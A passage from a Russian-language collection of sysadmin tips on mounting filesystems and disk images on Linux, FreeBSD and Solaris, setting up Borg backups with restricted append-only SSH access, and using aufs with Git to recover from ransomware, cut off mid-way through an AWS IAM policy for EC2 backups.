    * sunx86: Для файловых систем созданных на Solaris для процессоров x86.
    * hp: Для файловых систем созданных на HP-UX, только чтение.
    * nextstep: Для файловых систем созданных на NeXTStep (только чтение).
    * nextstep-cd: Для файловых систем созданных на NextStep компакт-дисках 
       ( размер блока - block_size == 2048)
    * openstep: Для файловых систем созданных на только чтение. OpenStep (пока только чтение). 
       Такой же тип файловой системы используется в Mac OS X.
    
    
    Внимание! Примеры могут потребовать перекомпиляции ядра Linux для поддержки файловой системы UFS. 
    
       По умолчанию поддержка файловой системы UFS не включена.
       Вы должны скомпилировать ядро с поддержкой для файловой системы UFS. 
       (см. CONFIG_UFS_FS=m и CONFIG_UFS_FS_WRITE=y параметры).
    
    Первое, создайте директорию монтирования.
    
       # mkdir /mnt/solaris
    
    Теперь, используя команду mount, на подобии: 
    
       # mount -t ufs -o ro,ufstype=sunx86 /dev/sdXY /mnt/solaris
       # mount -t ufs -o ro,ufstype=sunx86 /dev/sdb1 /mnt/solaris
    
    Так будет примонтирован первый раздел /dev/sda1 
    
    Для дополнительной информации читайте руководство к команде mount:
    
       $ man mount
    
     
    ----* Монтирование директории пользователя при его входе в Linux систему (доп. ссылка 1)   [комментарии]
     
    Имеем: неизменную базовую /home директорию.
    Хотим: отдельно держать изменения внесенные пользователями, чтобы они не влияли на базовую /home.
                изменения держать в рамдиске, так чтобы они не сохранялись при следующем входе
    Решение: 
      - unionfs - для отделения данных пользователя от read-only основы.
      - tmpfs - для создания /tmp директории с временными файлами, хранимой в ОЗУ.
      - pam-mount (http://pam-mount.sourceforge.net/) - PAM модуль для автоматического 
      монтирования разделов в момент входа пользователя в систему.
    
    Устанавливаем пакеты (пример для Debian  и Ubuntu):
       apt-get install unionfs-modules-`uname -r`
       apt-get install libpam-mount 
    
    Настраиваем pam_mount (/etc/security/pam_mount.conf)
    
       volume debiosk tmpfs - tmpfs /tmp/tmpfs "size=15M,uid=debiosk,gid=debiosk,mode=0700" - - 
       volume debiosk unionfs - unionfs /home/debiosk "dirs=/tmp/tmpfs:/home/debiosk=ro" - - 
    
    
    где
     "volume" - ключевое слово, сигнализирующее об описании раздела;
     "debiosk" - имя пользователя, для которого определены правила монтирования;
      "tmpfs" - тип файловой системы;
      " - " - сигнализирует о неиспользовании монтирования с удаленного сервера;
      "/tmp/tmpfs" - точка монтирования;
      "size=15M,uid=debiosk,gid=debiosk,mode=0700" - параметры монтирования tmpfs:
              "size=15m," - размер;
              "uid=debiosk,gid=debiosk,"  - владелец;
              "mode=0700" - права доступа;
       "dirs=/tmp/tmpfs:/home/debiosk=ro" - параметры монтирования unionfs: 
               указывают отобразить изменения /home/debiosk в директории /tmp/tmpfs
    
    
    Добавляем строку "@include common-pammount" в /etc/pam.d/login, /etc/pam.d/su и /etc/pam.d/xdm 
    
    Теперь пользователь debiosk каждый раз будет получать исходную домашнюю директорию,
    а изменения будут действовать только в пределах сессии.
    
     
    ----* Монтирование дискового раздела по UUID в Linux (доп. ссылка 1)   [комментарии]
     
    Получаем уникальный идентификатор устройства:
       # blkid /dev/hda6
       /dev/hda6: UUID="3e6be9de-8139-11d1-9106-a43f08d823a6" TYPE="ext2"
    
    В качестве устройства монитрования в /etc/fstab указываем:
       UUID=3e6be9de-8139-11d1-9106-a43f08d823a6
    
    
    Также для монитрования без привязки к блочному устрйству можно использовать метки:
    Ставим метку:
       e2label /dev/hda6 BACKUPDISK
    
    В /etc/fstab указываем:
       LABEL=BACKUPDISK
    
    Посмотреть метку для заданного устройства можно командой:
       blkid -s LABEL /dev/hda6
    
     
    ----* Уменьшение размера стандартного LiveCD Fedora 7 (доп. ссылка 1)   [комментарии]
     
    Задача ужать стандартный GNOME-LiveCD Fedora7 до 400 Мб. 
    Ниже журнал действий.
    
    1. Извлекаем из iso образа LiveCD squashfs.img.
    
       mount -o loop ./Fedora-7-Live-i686.iso /mnt/cdrom
       копируем все в отдельную директорию директорию /mnt/disk/LiveCD/newcd
       umount /mnt/cdrom
    
    
    2. Монтируем squashfs.img и извлекаем из него os.img
    
       mount -o loop -t squashfs /mnt/disk/LiveCD/newcd/squashfs.img /mnt/cdrom
       копируем содержимое в /mnt/disk/LiveCD/new_ext3
       umount /mnt/cdrom
    
    
    3. Монтируем ext3 образ /mnt/disk/LiveCD/new_ext3/os.img
    
       mount -o loop /mnt/disk/LiveCD/new_ext3/os.img /mnt/disk/LiveCD/new_ext3/sysroot
    
    
    4. Удаляем лишнее и устанавливаем недостающее.
    
       chroot /mnt/disk/LiveCD/new_ext3/sysroot /bin/sh
       su -
       mount /proc
       mount /sys
       rm -rf /usr/share/doc
       в /usr/share/locale/ - оставляем только русские и английские локали
       cd /usr/share/icons; rm -rf Bluecurve gnome
       В /usr/share/pixmaps заменяем недостающее, чистим pixmaps/backgrounds/
       копируем свою фоновую картинку   
         cp  background.jpg /usr/share/gdm/themes/FedoraFlyingHigh
         cp  background.jpg /usr/share/backgrounds/images/default.jpg
        Чистим /usr/share/backgrounds
       Удаляем пакеты с китайскими шрифтами:
       rpm -e fonts-chinese fonts-arabic fonts-korean fonts-japanese
       Если rpm ругается, делаем "rpm --rebuilddb"
       Если нужно создать какие-то директории или произвести действия в момент старта livecd 
          правим fedora-live в /etc/rc.d/init.d
       Ставим желаемые пакеты, например, конфигуратор PPTP:
        rpm -Uvh http://pptpclient.sourceforge.net/yum/stable/fc7/pptp-release-current.noarch.rpm
        yum --enablerepo=pptp-stable install pptpconfig
       ....
       umount /proc
       umount /sys
    
    
    5. После приведения os.img в нужный вид, создаем новый пустой os.img и 
    копируем содержимое старого (нужно забить образ нулями, чтобы он лучше сжался, 
    иначе изменения будут только в метаданных и итоговый образ squashfs после
    сжатия получиться больше чем начальный).
    
       cd mnt/disk/LiveCD/new_ext3
       dd if=/dev/zero of=new_os.img bs=1k count=4096k
       /sbin/mkfs.ext3 -F -L "LiveCD" -m 1 new_os.img
       /sbin/tune2fs -c0 -i0 -Odir_index -ouser_xattr,acl new_os.img
    
       Монтируем новый образ
       mkdir /mnt/disk/LiveCD/new_ext3/new_sysroot
       mount -o loop ./new_os.img /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       Копируем содержимое старого через rsync, чтобы сохранить расширенные атрибуты файлов.
       rsync -a -v --acls --xattrs --hard-links /mnt/disk/LiveCD/new_ext3/sysroot /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       незабываем размонтировать и переименовать новый образ
       umount /mnt/disk/LiveCD/new_ext3/sysroot
       umount /mnt/disk/LiveCD/new_ext3/new_sysroot
       rm  /mnt/disk/LiveCD/new_ext3/new_sysroot
       mv /mnt/disk/LiveCD/new_ext3/new_os.img /mnt/disk/LiveCD/new_ext3/os.img
    
    
    6. Сжимаем ext3 образ
    
       rm /mnt/disk/LiveCD/newcd/squashfs.img
       cd /mnt/disk/LiveCD/new_ext3/
       /sbin/mksquashfs os.img sysroot /mnt/disk/LiveCD/newcd/squashfs.img
    
    
    7. Создаем iso образ для записи на CD:
    
       mkisofs -o ./live.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \
         -boot-info-table -J -r -hide-rr-moved -V "Fedora-7-Live-i386" /mnt/disk/LiveCD/newcd/
    
      Если появится желание изменить метку диска Fedora-7-Live-i386, не забудьте поменять ее в isolinux/isolinux.cfg
    
     
    ----* Как в Linux примонтировать образ QEMU диска   [комментарии]
     
    mount -o loop,offset=32256 qemu_image.img /mnt/qemu_image
    
     
    ----* Как быстро расшарить директории через ftp в Linux   Автор: borey  [комментарии]
     
    На моей станции поднят ftp сервер (vsftpd). Как известно FTP cервер позволяет расшарить 
    определённую директорию (в нашем случае /var/ftp/)/ Часто у меня возникали ситуации 
    когда нужно что то расшарить по сети, а копировать это в раздел где расшаренная 
    директория - места нет. Да и копировать это опять же или менять кофиг сервера и
    перерапускать сервис.
    Для себя нашёл очень простой и удобный способ как это сделать. 
    
    Монтировать нужные директории в дерево /var/ftp используя 'mount --bind '. всё просто.
    
       [root@n100851 ~]# mkdir /var/ftp/pub/music
       [root@n100851 ~]# mount --bind /home/user/media/sound/ /var/ftp/pub/music/
    
    и всё. анонимусы могут забирать музыку с FTP сервера.
    
     
    ----* Монтирование в Linux флеш-карт, отформатированных цифровой фотокамерой   Автор: Гусев Андрей  [комментарии]
     
    После удачно завершившейся разборки с "multiple LUN support" для доступа к девайсам карт-ридеров 
    (MAUSB-300 производства OLYMPUS и безымянный "11 in 1" Тайваньского производства) оказалось, 
    что карты xd-Picture (OLYMPUS) и SD (Transcedent), отформатированные в соответствующих аппаратах 
    (фотокамера CAMEDIA C55ZOOM, и наладонник PalmOne Tungsten E2) монтироваться всё-таки не хотят.
     По выяснении обстоятельств оказалось что монтировать их нужно с указанием параметра offset:
    
        xd 16Mb - 20992 (0x5200)
        xd 128Mb - 24064 (0x5E00)
        xd 256Mb - 25088 (0x6200)
        sd 128Mb - 49664 (0xC200)
        sd 256Mb - 51712 (0xCA00)
    
    т.е., например, вот так:
    
        > mount -t vfat -o loop,offset=20992 /dev/sda /mnt/ttt
    
    После модификации содержимого карт (добавления/удаления файлов), 
    смонтированных таким образом соответствующие аппараты не высказывают к этому самому содержимому 
    (и к файловой системе карт) никаких претензий, т.е. читают его и понимают правильно.
    
     
    ----* Экспорт каталогов через NFS под другим именем   Автор: butcher  [обсудить]
     
    Если необходимо экспортировать каталог, имя которого очень длинное (например,
    большая вложенность),
    то для удобства клиента можно сделать символическую ссылку на этот каталог с
    более коротким именем.
    На клиенте же монтировать не сам экспортируемый каталог, а ссылку на него. 
    
    Пример:
    На сервере есть каталог:
       /usr/home/ftp/anonftp/distrib/unix/FreeBSD/distfiles 
    
    Создаём ссылку на него:
       # ln -s /usr/home/ftp/anonftp/distrib/unix/FreeBSD/distfiles /home/distfiles
    
    В файле /etc/exports помещаем такую строку:
       /usr/home/ftp/anonftp/distrib/unix/FreeBSD/distfiles -ro -mapall=nobody
    
    Теперь на клиенте можно монтировать этот каталог таким образом:
       # mount_nfs server:/home/distfiles /usr/ports/distfiles
    
     
    ----* Использование smbfs через autofs   Автор: Konstantin  [комментарии]
     
    Пишем скрипт /etc/auto.smbfs примерно такой:
       #!/bin/sh
       a="${1/@//}"
       a="${a//\ /\\ }"
       echo -fstype=smbfs,username=guest,password=fmask=666,iocharset=cp1251,codepage=cp866 :"//$a"
    
    Параметры - по вкусу. automount как-то небрежно относится к пробелам в имени, но так работает.
    Ставим на файл бит исполнения:
       chmod +x /etc/auto.smbfs
    
    Далее в /etc/auto.master добавляется строка
       /var/autofs/smb   /etc/auto.smbfs
       где /var/autofs/smb  - точка монтирования.
    
    Стартуем:
       /etc/init.d/autofs restart
    
    Для удобства:
       ln -s /var/autofs/smb /smb
    
    Теперь можно обращатся к шаре "share" на хосте "host" вот так: 
       cd /smb/host@share
    по IP тоже работать должно.
    
    Всё написанное верно для дистрибутива debian sarge. Нужны пакеты autofs и smbfs.
    Желающие могут расширить фунциональность, прикрутив  к скрипту передачу логина\пароля через путь.
    
     
    ----* Как запретить создание символических линков в /tmp   [комментарии]
     
    FreeBSD: В графе "Option" /etc/fstab для раздела /tmp нужно указать:
       rw,noexec,nosuid,nodev,nosymfollow
    
    Для Linux: Openwall patch (http://openwall.com/) + CONFIG_SECURE_LINK + chmod +t /tmp
    
     
    ----* Как примонтировать iso образ диска в FreeBSD 5.x   Автор: Insane  [комментарии]
     
    Для начала:
       mdconfig -a -t vnode -u0 -f /share/iso/slackware-9.0-install.iso
    затем
       mount -t cd9660 /dev/md0 /mnt/iso
    
    Обратный процесс:
       umount /dev/md0
       mdconfig -d -u0
    
    p.s. Может не работать если в ядре нет "device md"
    
     
    ----* Как примонтировать iso-образ CD диска в FreeBSD   [комментарии]
     
    В /boot/loader.conf добавляем vn_load="YES" или подгружаем руками kldload vn.ko
    Монтируем:
        vnconfig /dev/vn0c /home/user/cdrom.iso
        mount -t cd9660 /dev/vn0c /mnt
    Размонтируем:
        umount /mnt
        vnconfig -u /dev/vn0c
    
     
    ----* Как разрешить в FreeBSD монтировать CD-ROM обычным пользователям (доп. ссылка 1)   [комментарии]
     
    /etc/sysctl.conf:
       vfs.usermount=1
       vfs.generic.usermount=1
    mount -t cd9660  /dev/acd0c /home/user/cdrom
    chmod 644 /dev/acd0c
    
     
    ----* Как примонтировать в FreeBSD CD-ROM с русифицированной FS, чтобы русские буквы не выглядели как вопросительные знаки.   Автор: lavr  [комментарии]
     
    cd /usr/ports/sysutils/cd9660_unicode
    make && make install
    грузить модуль через
       kldload /lib/cd9660_unicode/cd9660_[unicode|koi8-r|iso-8859-5|cp866].ko
    
     
    ----* Как примонтировать директорию из одной части файловой системы в другую.   [комментарии]
     
    В linux 2.4.x ядрах:
       mount --bind какую_директорию_монтировать куда_монтировать
    В FreeBSD:
       mount_null какую_директорию_монтировать куда_монтировать
    
     
    ----* Как размонтировать занятый неизвестным процессом CDROM   [комментарии]
     
    fuser -k -m /mnt/cdrom - убить процессы использующие /mnt/cdrom
    umount /mnt/cdrom
    
     
    ----* Как в FreeBSD при загрузке в single read-olny переключится в RW режим.   [обсудить]
     
    mount -u -w /
    
     
    ----* Как примонтировать cdrom с русскими файлами   [комментарии]
     
    В Joliet файлы хранятся в unicode, соответственно codepage=unicode.
    Если файлы записаны в 866 кодировке нужно добавить ",codepage=866"
    mount -t iso9660 -o iocharset=koi8-r,ro,noexec,mode=0444  /dev/cdrom  /mnt/cdrom
    или  в /etc/fstab:
    /dev/cdrom /mnt/cdrom iso9660 noauto,user,ro,noexec,mode=0444,iocharset=koi8-r
    а затем:  mount /mnt/cdrom
    
     
    ----* Как в Solaris примонтировать локально .iso образ.   [комментарии]
     
      lofiadm -a cdrom.iso
      mount -F hsfs /dev/lofi/1 /mnt
      umount /mnt
      lofiadm -d /dev/lofi/1
    
     
    ----* Как правильно прописать сменные накопители в /etc/fstab для FreeBSD.   Автор: Insane  [комментарии]
     
    /dev/acd0c /mnt/cdrom cd9660 ro,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/fd0 /mnt/flop msdos rw,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/ad0s2 /mnt/store msdos rw,-W=koi2dos,
    -L=ru_RU.KOI8-R,noexec,nosuid,nosymfollow,
    -u0,-g0,-m 660  0 0
    Еще для удобства можно создать симлинки типа:
    ln -sf /dev/acd0c /dev/cdrom
    ln -sf /dev/acd1c /dev/cdrom1 (если есть второй cdrom)
    ln -sf /dev/fd0 /dev/flop
    прописать изменения в fstab,
    и монтировать диски командой mount /dev/cdrom а не
    mount /dev/acd0c =).
    
     

       Резервное копирование

    ----* Резервное копирование с Borg   Автор: Александр  [комментарии]
     
    Borg решает задачи хранения, передачи, очистки, сжатия, шифрования,
    дедупликации и защиты резервных копий, а также разграничивает доступ к
    различным репозиториям с резервными копиями. В этой статье мы рассмотрим
    использование инструмента borgbackup для упрощения построения системы
    резервного копирования. Единственный аспект, который я опущу в этой статье
    - шифрование. Если для вас принципиально шифровать свои бекапы, то в этом
    нет никакой проблемы - в официальной документации описано как
    использовать шифрование и вы легко сможете использовать шифрование с
    предложенными мной решениями.
    
    Также borg не занимается подготовкой данных для резервирования и  их
    восстановлением. На входе и выходе вы получаете только файлы, а что и как с
    ними делать - решать вам. Если скомандуете "положи в бекап каталог с
    файлами баз mysql", то borg это сделает, но на выходе вы получите кашу вместо
    данных. Консистентность - это ваша задача и её обсуждение выходит за
    рамки этой статьи. Для решения этой задачи используется множество инструментов,
    зависящих от службы, данные которой вы собираетесь копировать - будь то
    mysqldump, снапшоты lvm, zfs или виртуальных машин.
    
    Borg представляет из себя единственный исполняемый файл. Отдельной службы,
    которая следит за бекапами у него нет, поэтому автоматизировать его работу
    придется самостоятельно. Он хранит резервные копии в репозиториях, которые
    представляют собой простые каталоги с файлами. Вы можете получать доступ к ним
    как локально, указав путь, так и по сети. Для доступа по сети используется ssh.
    Важной функцией borg, наличие которой повлияло на выбор именно этой системы,
    является возможность разграничения доступа клиентов по ключам, используемым для
    входа на сервер с бекапом.
    
    В статье мы рассмотрим организацию резервного копирования на предприятии, в
    котором я работаю. Вам не обязательно всё делать так же - решения,
    применяемые нами, не обязательно должны подходить всем и могут быть не
    оптимальными для вас.
    
    
    Установка
    
    В большинстве дистрибутивов уже есть пакет borgbackup и  можно просто установить этот пакет.
    
    Для CentOS
    
       sudo yum install borgbackup
    
    Для Debian/Ubuntu
    
       sudo apt install borgbackup
    
    Или можно скачать исполняемый файл и установить его в систему. Скачиваем его со этой
    страницы и выполняем
    
       sudo cp borg-linux64 /usr/local/bin/borg
       sudo chown root:root /usr/local/bin/borg
       sudo chmod 755 /usr/local/bin/borg
    
    Подробнее об установке на другие дистрибутивы
    
    Borg необходимо установить как на сервере так и на клиентах.
    
    Настройка сервера. Часть 1
    
    Подготовив пространство для хранения бекапов, создадим пользователя с домашним
    каталогом в этом пространстве. В моё случае это пользователь borg с домашним
    каталогом /backup/borg
    
       adduser --home /backup/borg --disabled-password borg
    
    Доступ к пользователю borg сделаем только по ключам, поэтому вход с пустым
    паролем по ssh должен быть отключён. Во всех известных мне дистрибутивах это
    сделано по умолчанию.
    
    Поправим две опции в конфиге ssh-сервера /etc/ssh/sshd_config
    
       ClientAliveInterval 10
       ClientAliveCountMax 30
    
    Перезапустим ssh-сервер
    
       sudo systemctl restart sshd
    
    Зайдем в сеанс пользователя borg
    
       sudo -i -u borg
    
    Подготовим ssh
    
       mkdir .ssh
       touch .ssh/authorized_keys
       chmod 700 .ssh
       chmod 600 .ssh/authorized_keys
    
    Теперь создадим репозиторий
    
       borg init -e none MyRepo
    
    В домашнем каталоге появится каталог репозитория MyRepo. На этом первоначальная
    настройка сервера закончена.
    
    В качестве имени сервера будем использовать backup.foo.
    
    Настройка клиента
    
    У пользователя, от имени которого будет запускаться скрипт, должен быть
    ssh-ключ. Если его нет, то генерируем его, выполнив команду от имени этого пользователя
    
       ssh-keygen
    
    Теперь нужно настроить отправку файлов бекапа на сервер. Как уже говорилось
    выше, borg занимается только хранением файлов - их подготовка ваша
    задача. Создадим скрипт /usr/local/bin/backup.sh, который будет готовить данные
    и отправлять их в бекап.
    
       #!/bin/bash
       
       ####
       #Готовим данные и копируем их в каталог /var/backup
       #Если данные не нуждаются в подготовке, то этот этап пропускаем
       #и вместо /var/backup указываем каталог с данными
       ####
       
       borg create -C lz4 borg@backup.foo:MyRepo::`date +%Y%m%d_%H%M%S` /var/backup
    
    Последняя команда отправит файлы из каталога /var/backup на сервер backup.foo,
    в репозиторий MyRepo, в бекап с названием в виде текущей даты/времени, сжатый
    алгоритмом lz4.
    
    Настраиваем cron на выполнение этого скрипта от имени нужного вам пользователя
    по расписанию на ваше усмотрение.
    
    Забираем с клиента файл id_rsa.pub и продолжаем настраивать сервер.
    
    Настройка сервера. Часть 2
    
    Снова заходим в сеанс пользователя borg
    
       sudo -i -u borg
    
    На этот раз редактируем файл .ssh/authorized_keys. Добавляем строку
    
       command="/usr/bin/borg serve --restrict-to-repository /backup/borg/MyRepo --append-only",restrict <user key>
    
    Теперь обладатель ключа, зайдя на сервер backup.foo под логином borg, получит
    возможность создавать и просматривать бекапы только в репозитории MyRepo и ни в
    каком более. Также обладатель этого ключа не сможет получить shell
    пользователя, а значит взлом клиента не даст злоумышленнику испортить ваши
    бекапы или даже заглянуть в другие репозитории. Это существенно поднимает
    безопасность реализованной схемы. Но в данном решении есть не очевидный нюанс,
    о котором ниже.
    
    Опция --append-only
    
    Механизм --append-only реализован не совсем интуитивно. Дело в том, что при
    использовании borg с этим ключом, разрешено добавлять данные, а команды на
    удаление пишутся в журнал транзакций, но не применяются по настоящему. По
    команде delete или prune, с опцией --append-only, borg сделает вид, что бекапы
    удалены, но на самом деле записывает команды в журнал и перестает отображать
    бекапы в списке. Изменения будут применены в момент выполнения любой команды,
    подразумевающей внесение изменений в репозиторий, без ключа  --append-only,
    например create, delete или prune.
    
    Подробнее эта особенность обсуждается здесь.
    
    Как мы обошли эту проблему при автоматизации удаления старых бекапов я покажу ниже.
    
    Настройка сервера. Часть 3
    
    Теперь мы автоматизируем удаление старых бекапов, чтобы не занять всё место на
    сервере. Настроим всё так, чтобы хранить последние 14 копий с интервалом в
    день, 8 копий с интервалом в неделю и 12 копий с интервалом в месяц. Также мы
    обойдем проблему с неочевидным поведением опции --append-only.
    
    Заходим в сеанс пользователя borg
    
       sudo -i -u borg
    
    Поместим список имеющихся репозиториев в файл repo.list
    
       echo MyRepo > repo.list
    
    Создадим пустой файл backup.list в каталоге репозитория
    
       touch MyRepo/backup.list
    
    Создадим настройку политики хранения копий, описанную выше
    
       echo "--keep-daily 14 --keep-weekly 8 --keep-monthly 12" > MyRepo/trim.conf
    
    Подготовим скрипт /usr/local/bin/trim.sh
    
       #!/bin/bash
    
       
       HOME_DIR="/backup/borg/"
       REPO_LIST=`cat ${HOME_DIR}/repo.list`
       
       alarm(){
       	####
       	#Тут нужно предусмотреть отправку оповещения
       	####
       }
    
       trim_repo(){
       	#Получаем путь до репозитория и настройку сохранения бекапов
       	REPO_DIR="${HOME_DIR}${1}"
       	TRIM_CONF=`cat ${REPO_DIR}/trim.conf`
       
       	#Получаем список бекапов в репозитории
       	borg list --format '{id}{NL}' "${REPO_DIR}" > ${REPO_DIR}/backup_new.list
       
       	#Ищем каждый ID из старого списка в новом. Если не нашли хотябы один бекап,
       	#то код возврата будет 1. Если всё хорошо, то 0.
       	cat ${REPO_DIR}/backup.list \\
       	| awk -v dir=${REPO_DIR} '{print "grep -q " $0 " " dir "/backup_new.list || exit 1" }' \\
       	| bash
       	exit_code=$?
       
       	if [[ $exit_code -gt 0 ]]; then
       		#Если хотябы один ID не найден, то оповещаем ответственного за бекап человека
       		alarm "В бекапе ${1} не хватает копий. Trim остановлен."
       	else
       		#Если старые бекапы на месте, то делаем trim, сохраняем новый список бекапов и удаляем старый
       		borg prune ${TRIM_CONF} ${REPO_DIR}
       		borg list --format '{id}{NL}' ${REPO_DIR} > ${REPO_DIR}/backup.list
       		rm ${REPO_DIR}/backup_new.list
       	fi
       }
       
       for REPO in ${REPO_LIST}; do
       	trim_repo ${REPO}
       done
    
    Этот скрипт будет проверять на месте ли бекапы, которые лежали в репозитории
    после прошлого запуска и если ни один из них не пропал, то выполняет удаление
    старых копий, не попадающих под шаблон. Как видите скрипт рассчитан на то, что
    у вас будет множество репозиториев с разными настройками хранения.
    
    Политика хранения копий
    
    Для настройки того сколько и каких копий будет хранить borg мы использовали
    опции, с которыми вызывалась команда prune, записанные в файле trim.conf.
    Рассмотрим возможные опции подробнее
    
    
  • --keep-within INTERVAL храним все архивы в течение указанного промежутка времени
  • --keep-last, --keep-secondly сколько последних копий хранить
  • --keep-minutely сколько поминутных архивов хранить
  • -H, --keep-hourly сколько почасовых архивов хранить
  • -d, --keep-daily сколько ежедневны архивов хранить
  • -w, --keep-weekly сколько еженедельных архивов хранить
  • -m, --keep-monthly сколько ежемесячных архивов хранить
  • -y, --keep-yearly сколько ежегодных архивов хранить Команда prune удалит архивы, которые не попали под указанные опции. Опция --keep-within принимает аргумент вида "<int><char>", где char-это "H", "d", "w", "m", "y". Например, --keep-within 2d означает, что все архивы, созданные за последние 48 часов удалять нельзя. "1m" означает "31d". Архивы, попадающие под этот шаблон, не учитываются в других опциях при построении списка сохраняемых архивов. Откат команд удаления Для возврата бекапов, удалённых в режиме --append-only, нужно понять в какой момент произошло удаление и удалить транзакции, содержащие команды на удаление. Список транзакций находится в файле transactions, в каталоге репозитория. Поняв когда произошли вредоносные изменения, нужно удалить файлы транзакций с номерами вредоносной и всех последующих. Например если мы видим вот такой лог transaction 1, UTC time 2016-03-31T15:53:27.383532 transaction 5, UTC time 2016-03-31T15:53:52.588922 transaction 11, UTC time 2016-03-31T15:54:23.887256 transaction 12, UTC time 2016-03-31T15:55:54.022540 transaction 13, UTC time 2016-03-31T15:55:55.472564 И выяснили, что последняя легитимная транзакция имеет номер 5, то нужно удалить все транзакции после 5. Для этого в каталоге с репозиторием выполняем rm data/**/{6..13} borg delete --cache-only <имя репозитория> Это действие вызовет предупреждение со стороны клиентов borg при следующем обращении к репозиторию и просьбу подтвердить продолжение. Поэтому, если предполагается продолжить использование этого репозитория настроенными на него клиентами, то на всех нужно выполнить list репозитория и согласится использовать репозиторий. Либо на клиентах удалить файл rm ~/.config/borg/security/REPOID/manifest-timestamp Подробнее всё это описано здесь Извлечение и монтирование бекапов Вы можете добавить добавить свой ssh-ключ для пользователя borg без опций --restrict-to-repository и --append-only, для управления репозиториями со своего рабочего места. В этом случае команды будут выглядеть так. Получить список бекапов в репозитории borg list borg@backup.foo:<репозиторий> Получить список файлов в бекапе borg list borg@backup.foo:<репозиторий>::<имя бекапа> Извлекаем весь бекап или его часть в текущий каталог borg extract borg@backup.foo:<репозиторий>::<имя бекапа> [что извлекаем] Монтируем бекап с помощью механизма FUSE borg mount -o users borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования> При монтировании могут возникнуть проблемы с правами доступа к файлам. В этом случае можно смонтировать через sudo, переопределив команду ssh. В этом случае ходить по смонтированному бекапу также придется с помощью sudo sudo borg mount -o users --rsh "ssh -i <ваш ключ>" borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования> Отмонтируем командой borg umount <точка монтирования> При извлечении и монтировании можно исключить файлы по шаблону ключом --exclude. Заключение На этом всё. Я надеюсь, что эта статья станет хорошей отправной точкой при проектировании или модернизации вашей схемы резервного копирования. Borg старается следовать философии unix и хорошо занимается одним делом - управляет архивами. Используя этот инструмент вы сможете создать схему резервного копирования подходящую именно вам.
  •  
    ----* Объединение томов через aufs для отказоустойчивости и моментального восстановления  (доп. ссылка 1)   Автор: Gleb Kulikov  [комментарии]
     
    Объединение томов с разных физических устройств с распределением файлов/слепков
    файлов на предмет отказоустойчивости и моментального восстановления в случае
    нечисти по типу "шифровальщиков". Объединённый ресурс отдаётся через Samba и NFS.
    
    Нужно было быстро решить проблему с восстановлением после попадания
    пользователей под "шифровальщиков". Тем не менее, решение уже показало себя
    весьма эффективным и буквально спасло. Дополнительно продумывались меры по
    повышению надёжности, так как если не по-
    бедности, то по понятным соображениям, организовать правильно
    организованный бэкап сложно: инкрементальный бэкап периодически (сильно реже
    разумного) сливается на отдельный, не включенный постоянно, диск и (ещё реже),
    делается копия на блюрэй.
    
    Общая идея: архив разбивается на две (или больше) частей. 1-ая всегда
    монтируется r/o и содержит холодные и редко изменяемые данные. Эта часть лежит
    на одной группе томов (рейд сконфигурирован так, что несколько групп томов
    лежат на своих физических дисках) и с неё достаточно редко делается резервная
    копия на блюрэй.
    
    Для изменяемых данных выделен том, который лежит на другой группе томов (читай,
    другом физическом диске и в ещё одном случае, на другой ноде). Для хранения
    состояния файлов, сделано весьма идиотское решение, но опять-таки, практика
    показала его полезность. Раз в 30 минут ресурс попросту сканируется и если есть
    изменения, комитится в Git. База гита лежит перекрёстно, на другом томе (=>
    другом физическом устройстве). В основном, люди работают с доковскими и
    автокадовскими  файлами, но как оказалось,  несмотря на очевидную
    неатомарность, файлы в гите не бьются. За счёт сжатия, база гита пухнет умеренно.
    
    Раз в три месяца, изменяемые части ресурса сканируются на предмет не
    изменявшихся за это время файлов и таковые переносятся в r/o хранилище. База
    гита архивируется и отправляется на хранение.
    
    За счёт того, что изменяемая часть ресурса относительно маленькая, всё
    работает весьма шустро и не жрёт ресурсы.
    
    Изменяемые и холодные файлы "слиты" в один ресурс через aufs. А поскольку факт
    "стирания"/изменения  файла в r/o хранилище aufs имитирует созданием спецфайла
    / копии изменяемого файла, работа с таким комбинированным хранилищем прозрачна.
    В то же время, при работе "шифровальщика" или (не)преднамеренном удалении,
    страдает весьма незначительная часть хранилища, инцидент легко разобрать руками
    и файлы восстанавливаются моментально. Перекрёстное хранение на разных
    физических устройствах r/o, r/w и слепков истории изменений файлов,
    делает сон значительно спокойнее: потерять cразу ВСЁ можно, но значительно
    менее вероятно, чем при задействовании механизмов перераспределения
    LVM/снапшотов btrfs. С последними тоже экспериментирую, но более осторожно.
    
    Вот как-то так.
    
    Ну и неоднократно приходилось доставать копии файлов с совсем небольшим
    временным лагом и/или сравнивать с "историческими". В обычной схеме со сжатым
    бэкапом можно было-бы рехнуться.
    
    PS: грабли, на которые можно наступить: если нужно поменять ACL/права доступа,
    это нельзя делать на объединённом ресурсе: aufs тупо скопирует на r/w раздел
    файлы из всех слоёв. Но если последовательно применить setacl ко всем слоям,
    изменения подхватятся и будут нормально работать.
    
    PPS: overlayfs в такой схеме работает скверно.
    
    PPPS: права (любые) в гите не сохраняются. В данном случае это проблема, но
    схема всё равно оказывается спасительной.
    
     
    ----* Скрипт для резервного копирования EC2-серверов в AMI (доп. ссылка 1)   Автор: Alexander  [комментарии]
     
    Постановка задачи: есть некоторое количество EC2-серверов в AWS, разбросанных
    по разным регионам. Требуется автоматизировать их резервное копирование так,
    чтобы восстановление было легким и быстрым.
    
    Собственно, сам скрипт: ec2-automate-backup2ami.sh
    Описание: README.md
    Скрипт-обертка для запуска по крону: ec2-backup-wrapper.sh
    
    Для работы скрипта предварительно необходимо: 
    
    Установить пакет ec2-api-tools (у меня он версии 1.7.1.2)
    
    Подредактировать скрипт-обертку ec2-backup-wrapper.sh, указав путь к
    ec2-automate-backup2ami.sh и к лог-файлу
    
    Создать в AWS IAM отдельного пользователя для бэкапов и назначить ему похожую политику:
    
       {
         "Version": "2012-10-17",
         "Statement": [
           {
             "Sid": "Stmt1389911824000",
             "Effect": "Allow",
             "Action": [
               "ec2:CreateImage",
               "ec2:CreateSnapshot",
               "ec2:CreateTags",
               "ec2:DeleteSnapshot",
               "ec2:DeregisterImage",
               "ec2:DescribeRegions",
               "ec2:DescribeSnapshotAttribute",
